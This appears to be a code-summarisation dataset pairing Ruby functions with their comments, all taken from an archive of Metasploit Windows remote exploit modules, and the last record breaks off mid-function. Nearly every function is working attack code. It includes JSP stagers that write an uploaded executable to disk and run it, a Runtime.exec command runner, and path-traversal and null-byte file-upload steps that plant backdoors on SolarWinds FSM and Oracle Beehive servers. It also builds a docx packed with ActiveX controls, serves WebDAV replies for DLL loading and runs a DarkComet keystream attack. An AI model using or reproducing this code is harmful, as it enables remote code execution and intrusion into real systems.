md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.Types({'xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types"}) do
# Default extensions
contenttypes.each do |contenttype|
xml.Default(contenttype)
end
# Additional overrides
overrides.each do |override|
override_attrs = {
:PartName => override[:PartName] || override[:fname],
:ContentType => override[:ContentType]
}
xml.Override(override_attrs)
end
end
end
builder.to_xml(:indent => 0)
end
|
Creates a [Content.Types].xml file located in the parent directory
@param overrides [Array] A collection of hashes with each containing
the :PartName and :ContentType info
@return [String] XML document
|
make_contenttype_xml
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def init_doc_props(last_rid)
items = []
items << {
:id => (last_rid += 1),
:type => "#{@schema}/extended-properties",
:fname => "/docProps/app.xml",
:content_type => "application/vnd.openxmlformats-officedocument.extended-properties+xml"
}
items << {
:id => (last_rid += 1),
:type => "http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties",
:fname => "/docProps/core.xml",
:content_type => "application/vnd.openxmlformats-package.core-properties+xml"
}
return last_rid, items
end
|
Pre-define some items that will be used in .rels
|
init_doc_props
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def init_doc_xml_rels_items(last_rid)
items = []
items << {
:id => (last_rid += 1),
:type => "#{@schema}/styles",
:fname => "/word/styles.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/settings",
:fname => "/word/settings.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/webSettings",
:fname => "/word/webSettings.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/fontTable",
:fname => "/word/fontTable.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/theme",
:fname => "/word/theme/theme1.xml",
:content_type => "application/vnd.openxmlformats-officedocument.theme+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart1.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart2.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart3.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart4.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart5.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
items << {
:id => (last_rid += 1),
:type => "#{@schema}/chart",
:fname => "/word/charts/chart6.xml",
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
}
return last_rid, items
end
|
Pre-define some items that will be used in document.xml.rels
|
init_doc_xml_rels_items
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def init_activex_files(last_rid)
activex = []
0x250.times do |i|
id = (last_rid += 1)
bin = {
:fname => "/word/activeX/activeX#{id.to_s}.bin",
:bin => make_activex_bin
}
xml = {
:fname => "/word/activeX/activeX#{id.to_s}.xml",
:xml => make_activex_xml(id)
}
rels = {
:fname => "/word/activeX/_rels/activeX#{id.to_s}.xml.rels",
:rels => make_activex_xml_reals(id, "activeX#{id.to_s}.bin")
}
ct = "application/vnd.ms-office.activeX+xml"
type = "#{@schema}/control"
activex << {
:id => id,
:bin => bin,
:xml => xml,
:rels => rels,
:content_type => ct,
:type => type
}
end
return last_rid, activex
end
|
Manually create everything manually in the ActiveX directory
|
init_activex_files
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def init_contenttype_xml_file(*items)
overrides = []
items.each do |item|
item.each do |obj|
overrides << {:PartName => obj[:fname] || obj[:xml][:fname], :ContentType => obj[:content_type]}
end
end
{:fname => "[Content_Types].xml", :data => make_contenttype_xml(overrides)}
end
|
Create a [Content_Types.xml], each node contains these attributes:
:PartName The path to an ActiveX XML file
:ContentType The contenttype of the XML file
|
init_contenttype_xml_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def init_doc_xml_reals_file(pre_defs, activex, tiff)
reals = []
pre_defs.each do |obj|
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^\/word\//, '')}
end
activex.each do |obj|
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:xml][:fname].gsub(/^\/word\//, '')}
end
reals << {:id => tiff[:id], :type => tiff[:type], :target => tiff[:fname].gsub(/^\/word\//, '')}
{:fname => "/word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals)}
end
|
Create the document.xml.rels file
|
init_doc_xml_reals_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
|
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
nObfu
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30394.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30394.rb
|
MIT
|
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/31987.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/31987.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request")
body = ''
if (path =~ /\.bcl$/i)
print_status("Sending BCL multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/31987.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/31987.rb
|
MIT
|
def execute_cmdstager_begin(opts)
var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
decoded_file = "#{var_decoded}.exe"
encoded_file = "#{var_encoded}.b64"
@cmd_list.each do |command|
# Because the exploit kills cscript processes to speed up and reliability
command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
end
end
|
Make the modifications required to the specific encoder
This exploit uses an specific encoder because quotes (")
aren't allowed when injecting commands
|
execute_cmdstager_begin
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/32164.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/32164.rb
|
MIT
|
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
|
This should probably go in a mixin (by egypt)
|
jsp_drop_bin
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/32725.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/32725.rb
|
MIT
|
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +
+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +
+ 'LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/33880.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/33880.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
vprint_status("PROPFIND #{path}")
if path !~ /\/$/
if blacklisted_path?(path)
vprint_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
vprint_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
vprint_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
vprint_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
vprint_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/33880.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/33880.rb
|
MIT
|
def blacklisted_path?(uri)
share_path = "/#{@share_name}"
payload_path = "#{share_path}/#{@basename}.dll"
case uri
when payload_path
return false
when share_path
return false
else
return true
end
end
|
This method rejects requests that are known to break exploitation
|
blacklisted_path?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/33880.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/33880.rb
|
MIT
|
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))
if res && res.body =~ /SolarWinds FSM Change Advisor/i
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
|
Returns a checkcode that indicates whether the target is FSM or not
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/36679.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/36679.rb
|
MIT
|
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
|
Returns a write-stager
I grabbed this from Juan's sonicwall_gms_uploaded.rb module
|
jsp_drop_bin
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/36679.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/36679.rb
|
MIT
|
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
|
Returns JSP that executes stuff
This is also from Juan's sonicwall_gms_uploaded.rb module
|
jsp_execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/36679.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/36679.rb
|
MIT
|
def put_session_value(value)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),
'method' => 'GET',
'vars_get' => { 'username' => value }
)
unless res
fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
end
get_sid(res)
end
|
Creates an arbitrary username by abusing the server's unsafe use of session.putValue
|
put_session_value
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/36679.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/36679.rb
|
MIT
|
def upload_exec(sid, filename, malicious_file)
res = upload_file(sid, filename, malicious_file)
if !res
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
elsif res.body.include?('java.lang.NoClassDefFoundError')
print_status('Payload being treated as XLS, indicates a successful upload.')
else
print_status('Unsure of a successful upload.')
end
print_status('Attempting to execute the payload.')
exec_file(sid, filename)
end
|
Uploads a malicious file and then execute it
|
upload_exec
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/36679.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/36679.rb
|
MIT
|
def upload_file(sid, filename, malicious_file)
# Put our payload in:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
filename = "../../jsp/#{filename}"
mime_data = Rex::MIME::Message.new
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
mime_data.add_part('uploadFile', nil, nil, 'name="action"')
proto = ssl ? 'https' : 'http'
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
'method' => 'POST',
'vars_get' => { 'action' => 'uploadFile' },
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'cookie' => sid,
'headers' => { 'Referer' => ref }
)
end
|
Uploads a malicious file
By default, the file will be saved at the following location:
C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
|
upload_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/36679.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/36679.rb
|
MIT
|
def exec_file(sid, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', filename)
)
end
|
Executes the malicious file and get code execution
We will be at this location:
C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
|
exec_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/36679.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/36679.rb
|
MIT
|
def print_status(msg)
super("#{rhost}:#{rport} - #{msg}")
end
|
Overrides the original print_status so we make sure we print the rhost and port
|
print_status
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/36679.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/36679.rb
|
MIT
|
def get_jsp_stager(exe_name)
jsp = %Q|<%@ page import="java.io.*" %>
<%
ByteArrayOutputStream buf = new ByteArrayOutputStream();
BufferedReader reader = request.getReader();
int tmp;
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
buf.writeTo(fostream);
fostream.close();
Runtime.getRuntime().exec("#{exe_name}");
%>|
# Since we're sending it as a GET request, we want to keep it smaller so
# we gsub stuff we don't want.
jsp.gsub!("\n", '')
jsp.gsub!(' ', ' ')
Rex::Text.uri_encode(jsp)
end
|
Our stager is basically a backdoor that allows us to upload an executable with a POST request.
|
get_jsp_stager
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/38859.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/38859.rb
|
MIT
|
def upload_stager(stager_name, exe_name)
jsp_stager = get_jsp_stager(exe_name)
uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp')
send_request_cgi({
'method' => 'GET',
'uri' => uri,
'encode_params' => false, # Don't encode %00 for us
'vars_get' => {
'evaluation' => jsp_stager,
'recxml' => "..\\#{stager_name}%00"
}
})
end
|
Stager will be found under:
C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa\
|
upload_stager
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/38859.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/38859.rb
|
MIT
|
def upload_payload(stager_name)
uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name)
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'data' => generate_payload_exe(code: payload.encoded)
})
end
|
Payload will be found under:
C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home\
|
upload_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/38859.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/38859.rb
|
MIT
|
def get_jsp_stager(exe_name)
jsp = %Q|<%@ page import="java.io.*" %>
<%
ByteArrayOutputStream buf = new ByteArrayOutputStream();
BufferedReader reader = request.getReader();
int tmp;
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
buf.writeTo(fostream);
fostream.close();
Runtime.getRuntime().exec("#{exe_name}");
%>|
# Since we're sending it as a GET request, we want to keep it smaller so
# we gsub stuff we don't want.
jsp.gsub!("\n", '')
jsp.gsub!(' ', ' ')
Rex::Text.uri_encode(jsp)
end
|
Our stager is basically a backdoor that allows us to upload an executable with a POST request.
|
get_jsp_stager
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/38860.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/38860.rb
|
MIT
|
def xor_strings(s1, s2)
s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
end
|
Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
|
xor_strings
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/39985.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/39985.rb
|
MIT
|
def rc4_initialize(key)
@q1 = 0
@q2 = 0
@key = []
key.each_byte { |elem| @key << elem } while @key.size < 256
@key.slice!([email protected] - 1) if @key.size >= 256
@s = (0..255).to_a
j = 0
0.upto(255) do |i|
j = (j + @s[i] + @key[i]) % 256
@s[i], @s[j] = @s[j], @s[i]
end
end
|
Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
|
rc4_initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/39985.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/39985.rb
|
MIT
|
def crypto_attack(exploit_string)
getsin_msg = fetch_getsin
if getsin_msg.nil?
return nil
end
getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'
keystream = get_keystream(getsin_msg, getsin_kp)
if keystream.length < exploit_string.length
missing_bytecount = exploit_string.length - keystream.length
print_status("Missing #{missing_bytecount} bytes of keystream ...")
inferrence_segment = ''
brute_max = 4
if missing_bytecount > brute_max
print_status("Using inferrence attack ...")
# Offsets to monitor for changes
target_offset_range = []
for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)
target_offset_range << i
end
# Store inference results
inference_results = {}
# As long as we haven't fully recovered all offsets through inference
# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]
getsin_observation = [''] * 4
buffer_head = 0
for i in 0..2
getsin_observation[i] = [fetch_getsin].pack('H*')
Rex.sleep(0.5)
end
buffer_tail = 3
# Actual inference attack happens here
while !target_offset_range.empty?
getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')
Rex.sleep(0.5)
# We check if we spot a change within a position between two consecutive items within our circular buffer
# (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0
target_offset_range.each do |x|
index = buffer_head
while index != buffer_tail do
next_index = (index + 1) % 4
# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same
# observations as well while being constant in at least one previous or subsequent observation
if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))
target_offset_range.delete(x)
inference_results[x] = xor_strings(getsin_observation[index][x], '9')
break
end
index = next_index
end
end
# Update circular buffer head & tail
buffer_tail = (buffer_tail + 1) % 4
# Move head to right once tail wraps around, discarding oldest item in circular buffer
if buffer_tail == buffer_head
buffer_head = (buffer_head + 1) % 4
end
end
# Inferrence attack done, reconstruct final keystream segment
inf_seg = ["\x00"] * (keystream.length + missing_bytecount)
inferrence_results.each do |x, val|
inf_seg[x] = val
end
inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join
missing_bytecount = brute_max
end
if missing_bytecount > brute_max
print_status("Improper keystream recovery ...")
return nil
end
print_status("Initiating brute force ...")
# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)
charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
char_range = missing_bytecount.times.map { charset }
char_range.first.product(*char_range[1..-1]) do |x|
p = x.join
candidate_plaintext = getsin_kp + p
candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment
filedata = try_exploit(exploit_string, candidate_keystream, true)
if !filedata.nil?
return filedata
end
end
return nil
end
try_exploit(exploit_string, keystream, false)
end
|
Carry out the crypto attack when we don't have a key
|
crypto_attack
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/39985.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/39985.rb
|
MIT
|
def connect_ndmp(s, version, phase=nil)
if phase.nil? || phase == 1
return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
end
if phase.nil? || phase == 2
return false unless s.prepare_and_write_ndmp_msg(
NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))
)
end
if phase.nil? || phase == 3
msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
return false unless msg
fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
end
true
end
|
Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.
|
connect_ndmp
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def connect_additional_sockets(num_socks, version)
socks = (0...num_socks).map do
NDMP::Socket.new(connect(false))
end
(1..3).each do |phase|
socks.each do |ss|
unless connect_ndmp(ss, version, phase)
